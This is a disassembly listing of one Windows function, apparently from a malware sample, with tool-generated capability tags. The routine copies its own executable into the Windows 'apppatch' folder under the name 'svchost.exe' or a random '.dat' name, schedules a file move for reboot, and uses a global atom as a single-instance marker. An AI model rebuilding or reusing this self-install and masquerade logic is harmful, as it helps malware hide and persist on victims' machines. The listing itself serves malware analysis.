Function at 0x4025b0
Capabilities:
Check if file exists
Copy file
Delete file
Move file
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x338
xor eax, eax
push esi
push edi
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
push 0x1c
lea eax, [esp + 0x10]
push eax
push 0x401d40
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov edx, dword [esp + 0x10]
push 0x104
lea ecx, [esp + 0x134]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x464cd8]
mov byte [esp + eax + 0x28], cl
inc eax
test cl, cl
jne 0x402610
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x402739
push 0x104
lea ecx, [esp + 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
lea eax, [esp + 0x28]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402647
mov edx, dword [str._apppatch_]
mov ecx, dword [0x40b314]
mov dword [eax], edx
mov dx, word [0x40b318]
mov dword [eax + 4], ecx
mov cl, byte [0x40b31a]
mov word [eax + 8], dx
push 0x408198
mov byte [eax + 0xa], cl
mov dword [esp + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x4026ab
push 0x40b034
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x4026ab
lea edx, [esp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [esp + 8], 0
je 0x4026db
lea eax, [esp + 0x28]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x4026b7
mov ecx, dword [str.svchost.exe]
mov edx, dword [0x40b320]
mov dword [eax], ecx
mov ecx, dword [0x40b324]
mov dword [eax + 4], edx
mov dword [eax + 8], ecx
jmp 0x402739
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.004013c0
and eax, 1
add eax, 6
push eax
call fcn.00401410
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4026f5
lea edi, [esp + 0x28]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402703
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x28]
rep movsb byte es:[edi], byte [esi]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402720
mov edx, dword [str..dat]
mov cl, byte [0x40b32c]
mov dword [eax], edx
mov byte [eax + 4], cl
lea edx, [esp + 0x28]
push edx
push 0x40b330
lea eax, [esp + 0x240]
push 0x104
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x10
push 1
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0x138]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x402819
lea esi, [esp + 0x28]
call fcn.00402470
mov eax, esi
push eax
call fcn.00401b30
mov eax, esi
call fcn.00401c00
mov ecx, esi
push ecx
call fcn.00401c70
push 4
mov edx, esi
push edx
lea eax, [esp + 0x240]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 0x408198
mov dword [esp + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x4027e0
push 0x40b034
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x4027e0
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [esp + 8], 0
je 0x4027f1
lea edx, [esp + 0x28]
push edx
call fcn.004014a0
push str.Sat_Jun__4_15:49:24_20111
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
je 0x40280e
call fcn.004022e0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.Sat_Jun__4_15:49:24_20111
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
pop edi
pop esi
mov esp, ebp
pop ebp
ret